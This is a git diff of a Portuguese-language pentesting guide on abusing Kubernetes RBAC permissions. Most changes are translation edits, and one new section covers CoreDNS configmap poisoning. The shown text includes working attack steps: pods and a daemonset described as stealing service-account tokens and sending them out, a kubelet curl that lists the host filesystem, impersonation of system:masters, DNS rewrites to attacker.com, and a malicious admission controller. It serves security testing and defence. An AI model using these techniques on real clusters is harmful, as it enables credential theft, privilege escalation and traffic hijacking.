diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 89a410d16..bdfaf7f8d 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,4 +1,4 @@ -# Abusando de Roles/ClusterRoles no Kubernetes +# Abusing Roles/ClusterRoles in Kubernetes {{#include ../../../banners/hacktricks-training.md}} @@ -11,13 +11,13 @@ Referindo-se à arte de obter **acesso a um principal diferente** dentro do clus - Ser capaz de **impersonar** outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas - Ser capaz de **criar/patch/exec pods** onde você pode **encontrar ou anexar SAs** com melhores privilégios dentro do cluster kubernetes ou para nuvens externas -- Ser capaz de **ler segredos** já que os tokens SAs são armazenados como segredos +- Ser capaz de **ler segredos** já que os tokens dos SAs são armazenados como segredos - Ser capaz de **escapar para o nó** a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver) - Uma quinta técnica que merece menção é a capacidade de **executar port-forward** em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod. -### Acessar Qualquer Recurso ou Verbo (Curinga) +### Acessar Qualquer Recurso ou Verbo (Coringa) -O **curinga (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster +O **coringa (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -51,7 +51,7 @@ verbs: ["create", "list", "get"] Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account. Isso efetivamente eleva os privilégios. -Exemplo de um pod que irá roubar o token da Service Account `bootstrap-signer` e enviá-lo para o atacante: +Exemplo de um pod que roubará o token da Service Account `bootstrap-signer` e o enviará para o atacante: ```yaml apiVersion: v1 kind: Pod @@ -76,7 +76,7 @@ hostNetwork: true O seguinte indica todos os privilégios que um contêiner pode ter: -- **Acesso privilegiado** (desativando proteções e configurando capacidades) +- **Acesso privilegiado** (desativando proteções e definindo capacidades) - **Desativar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios - **Desativar o namespace hostNetwork**, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes - **Montar hosts / dentro do contêiner** @@ -127,7 +127,7 @@ Agora que você pode escapar para o nó, verifique as técnicas de pós-explora #### Stealth -Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pode ver o que você seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior: +Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pode ver o que seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior: - **Privileged + hostPID** - **Privileged only** @@ -151,7 +151,7 @@ pod-escape-privileges.md ### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs** -É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior. +É possível abusar dessas permissões para **criar um novo pod** e estabelecer privilégios como no exemplo anterior. O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod: ```yaml @@ -197,10 +197,15 @@ Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em ```bash kubectl exec -it -n -- sh ``` +> [!NOTE] +> Por padrão, o comando é executado no primeiro contêiner do pod. Obtenha **todos os pods em um contêiner** com `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e então **indique o contêiner** onde você deseja executá-lo com `kubectl exec -it -c -- sh` + +Se for um contêiner distroless, você pode tentar usar **builtins de shell** para obter informações dos contêineres ou fazer upload de suas próprias ferramentas como um **busybox** usando: **`kubectl cp :`**. + ### port-forward Esta permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como bancos de dados) ou vulneráveis (webs?) dentro de um pod: -``` +```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape @@ -219,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://:10250/logs/sym/` ele listará o sistema de arquivos root** do host (alterar o symlink pode fornecer acesso a arquivos). +- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://:10250/logs/sym/` ele listará o sistema de arquivos raiz** do host (alterar o symlink pode fornecer acesso a arquivos). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -247,7 +252,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Que tinha como objetivo prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável: +Que visava prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável: ```yaml apiVersion: v1 kind: PersistentVolume @@ -293,11 +298,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Impersonando contas privilegiadas** +### **Imitando contas privilegiadas** -Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada. +Com um privilégio de [**imitação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia imitar uma conta privilegiada. -Basta usar o parâmetro `--as=` no comando `kubectl` para se passar por um usuário, ou `--as-group=` para se passar por um grupo: +Basta usar o parâmetro `--as=` no comando `kubectl` para imitar um usuário, ou `--as-group=` para imitar um grupo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -424,7 +429,7 @@ verbs: ``` Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**. -Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**neste aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\ +Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios ao roubar segredos.\ Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.** A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post): @@ -477,15 +482,55 @@ groups: > Você pode usar **`aws-auth`** para **persistência** dando acesso a usuários de **outras contas**. > > No entanto, `aws --profile other_account eks update-kubeconfig --name ` **não funciona de uma conta diferente**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez de apenas o nome.\ -> Para fazer `kubectl` funcionar, apenas certifique-se de **configurar** o **kubeconfig da vítima** e nos argumentos de execução do aws adicione `--profile other_account_role` para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS. +> Para fazer `kubectl` funcionar, apenas certifique-se de **configurar** o **kubeconfig da vítima** e nos argumentos de execução da aws adicione `--profile other_account_role` para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS. + +### CoreDNS config map + +Se você tiver permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar os domínios de endereço que serão resolvidos para poder realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**. + +Os verbos necessários são **`update`** e **`patch`** sobre o **`coredns`** configmap (ou todos os config maps). + +Um arquivo **coredns regular** contém algo como isto: +```yaml +data: +Corefile: | +.:53 { +log +errors +health { +lameduck 5s +} +ready +kubernetes cluster.local in-addr.arpa ip6.arpa { +pods insecure +fallthrough in-addr.arpa ip6.arpa +ttl 30 +} +prometheus :9153 +hosts { +192.168.49.1 host.minikube.internal +fallthrough +} +forward . /etc/resolv.conf { +max_concurrent 1000 +} +cache 30 +loop +reload +loadbalance +} +``` +Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com`, de modo que sempre que `victim.com` for acessado, na verdade `attacker.com` será o domínio que será acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`. + +Outra opção é simplesmente editar o arquivo executando `kubectl edit configmap coredns -n kube-system` e fazer as alterações. ### Escalando no GKE -Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder obter credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link). +Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link). > [!WARNING] -> Ao falar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **acesso via GCP IAM**.\ -> Se **qualquer** um desses for **verdade**, ele será **respondido**. Se **não**, um **erro** sugerindo dar **permissões via GCP IAM** será fornecido. +> Ao se comunicar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **qualquer acesso via GCP IAM**.\ +> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo conceder **permissões via GCP IAM** será fornecido. Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las. @@ -497,21 +542,21 @@ O segundo método é **atribuir permissões K8s dentro do cluster** identificand ### Criar token de serviceaccounts -Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao falar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao se comunicar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Principais que podem **`atualizar`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **execução de código em outros pods**, e potencialmente **sair** para seu nó adicionando um contêiner efêmero com um securityContext privilegiado. +Principais que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **execução de código em outros pods**, e potencialmente **sair** para seu nó adicionando um contêiner efêmero com um securityContext privilegiado. ### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations -Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**. +Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** a fim de **escalar privilégios**. Para um [exemplo de `mutatingwebhookconfigurations`, confira esta seção deste post](#malicious-admission-controller). ### Escalar -Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**.\ +Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\ Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que possui. ### Proxy de nós @@ -549,7 +594,7 @@ Principais com permissões de **`update`** ou **`patch`** sobre `nodes/status` o Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalada de privilégios. -Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizar RBAC está inativo. +Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo. A regra estipula que um **usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles. @@ -569,55 +614,29 @@ O privilégio de criar Rolebindings permite que um usuário **vincule funções Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod. -#### Criar um aplicativo proxy Sidecar +#### Criar um aplicativo proxy Sidecar -Crie seu .yaml -```bash -kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' -``` -Edite seu .yaml e adicione as linhas descomentadas: +Um contêiner sidecar consiste apenas em adicionar um **segundo (ou mais) contêiner dentro de um pod**. + +Por exemplo, o seguinte é parte da configuração de um pod com 2 contêineres: ```yaml -#apiVersion: v1 -#kind: Pod -#metadata: -# name: security-context-demo -#spec: -# securityContext: -# runAsUser: 1000 -# runAsGroup: 3000 -# fsGroup: 2000 -# volumes: -# - name: sec-ctx-vol -# emptyDir: {} -# containers: -# - name: sec-ctx-demo -# image: busybox -command: -[ -"sh", -"-c", -"apt update && apt install iptables -y && iptables -L && sleep 1h", -] -securityContext: -capabilities: -add: ["NET_ADMIN"] -# volumeMounts: -# - name: sec-ctx-vol -# mountPath: /data/demo -# securityContext: -# allowPrivilegeEscalation: true -``` -Veja os logs do proxy: -```bash -kubectl logs app -C proxy +spec: +containers: +- name: main-application +image: nginx +- name: sidecar-container +image: busybox +command: ["sh","-c",""] ``` +Por exemplo, para backdoor um pod existente com um novo contêiner, você poderia simplesmente adicionar um novo contêiner na especificação. Note que você poderia **dar mais permissões** ao segundo contêiner que o primeiro não terá. + Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### Controlador de Admissão Malicioso -Um controlador de admissões **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**. +Um controlador de admissão **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**. -Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente escalar privilégios e, mais comumente, persistir no cluster. +Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente realizar privesc, e mais comumente persistir no cluster. **Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -638,7 +657,7 @@ Então, implante um novo pod: kubectl run nginx --image nginx kubectl get po -w ``` -Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas: +Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com qualquer uma das consultas: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " @@ -647,7 +666,7 @@ kubectl describe po nginx | grep "Image: " Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!? -#### Technicalities +#### Technicalities O script `./deploy.sh` estabelece um controlador de admissão de webhook mutável, que modifica as solicitações à API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados: ``` @@ -669,12 +688,12 @@ O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewant ### **Desabilitando o Automontagem de Tokens de Conta de Serviço** -- **Pods e Contas de Serviço**: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite a desativação desse recurso de automontagem. +- **Pods e Contas de Serviço**: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite desabilitar esse recurso de automontagem. - **Como Aplicar**: Defina `automountServiceAccountToken: false` na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes. ### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings** -- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa. +- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estão incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa. ### **Papéis Específicos de Namespace Sobre Papéis de Cluster** @@ -699,5 +718,7 @@ https://github.com/aquasecurity/kube-bench - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) +- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) +- [**https://kubenomicon.com/**](https://kubenomicon.com/) {{#include ../../../banners/hacktricks-training.md}}